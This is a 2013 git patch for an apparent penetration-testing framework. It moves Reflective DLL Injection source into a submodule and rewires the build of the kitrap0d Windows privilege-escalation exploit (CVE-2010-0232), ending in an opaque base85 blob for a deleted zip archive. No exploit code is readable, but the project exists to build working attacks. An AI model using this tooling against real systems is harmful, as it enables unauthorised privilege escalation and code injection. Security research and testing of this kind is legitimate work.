From 468654d2b5ac5587bae45e7a5aafb2fbb0a79402 Mon Sep 17 00:00:00 2001 From: OJ Date: Wed, 27 Nov 2013 16:04:41 +1000 Subject: [PATCH] Add RDI submodule, port Kitrap0d This commit is the first in a series that will move all the exploits that use RDI over to the R7 fork. The RDI source will be in a single known location and each exploit will have to work from that location. The kitrap0d exploit has been migrated over to use this submodule so that there's one example of how it's done for future contributions to follow. --- .gitmodules | 3 + external/source/ReflectiveDLLInjection | 1 + .../source/ReflectiveDllInjection_v1.0.zip | Bin 167590 -> 0 bytes .../CVE-2010-0232/common/GetProcAddressR.c | 116 ---- .../CVE-2010-0232/common/GetProcAddressR.h | 36 -- .../CVE-2010-0232/common/LoadLibraryR.c | 233 ------- .../CVE-2010-0232/common/LoadLibraryR.h | 41 -- .../common/ReflectiveDLLInjection.h | 53 -- .../CVE-2010-0232/common/ReflectiveLoader.c | 599 ------------------ .../CVE-2010-0232/common/ReflectiveLoader.h | 223 ------- .../CVE-2010-0232/kitrap0d/kitrap0d.c | 4 +- .../CVE-2010-0232/kitrap0d/kitrap0d.vcxproj | 14 +- .../kitrap0d/kitrap0d.vcxproj.filters | 15 +- .../kitrap0d_payload/kitrap0d_payload.vcxproj | 4 +- .../CVE-2010-0232/kitrap0d_payload/main.c | 2 +- .../exploits/CVE-2010-0232/make.msbuild | 18 + external/source/exploits/make.bat | 39 ++ 17 files changed, 84 insertions(+), 1317 deletions(-) create mode 100644 .gitmodules create mode 160000 external/source/ReflectiveDLLInjection delete mode 100644 external/source/ReflectiveDllInjection_v1.0.zip delete mode 100644 external/source/exploits/CVE-2010-0232/common/GetProcAddressR.c delete mode 100644 external/source/exploits/CVE-2010-0232/common/GetProcAddressR.h delete mode 100644 external/source/exploits/CVE-2010-0232/common/LoadLibraryR.c delete mode 100644 external/source/exploits/CVE-2010-0232/common/LoadLibraryR.h delete mode 100644 external/source/exploits/CVE-2010-0232/common/ReflectiveDLLInjection.h delete mode 100644 external/source/exploits/CVE-2010-0232/common/ReflectiveLoader.c delete mode 100644 external/source/exploits/CVE-2010-0232/common/ReflectiveLoader.h create mode 100755 external/source/exploits/CVE-2010-0232/make.msbuild create mode 100755 external/source/exploits/make.bat diff --git a/.gitmodules b/.gitmodules new file mode 100644 index 0000000000..564edab544 --- /dev/null +++ b/.gitmodules @@ -0,0 +1,3 @@ +[submodule "external/source/ReflectiveDLLInjection"] + path = external/source/ReflectiveDLLInjection + url = https://github.com/rapid7/ReflectiveDLLInjection.git diff --git a/external/source/ReflectiveDLLInjection b/external/source/ReflectiveDLLInjection new file mode 160000 index 0000000000..88e8e5f109 --- /dev/null +++ b/external/source/ReflectiveDLLInjection @@ -0,0 +1 @@ +Subproject commit 88e8e5f109793f09b35cb17a621f33647d644103 diff --git a/external/source/ReflectiveDllInjection_v1.0.zip b/external/source/ReflectiveDllInjection_v1.0.zip deleted file mode 100644 index 883acde770b84770e728396f7fb96a2318b8f19b..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 167590 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 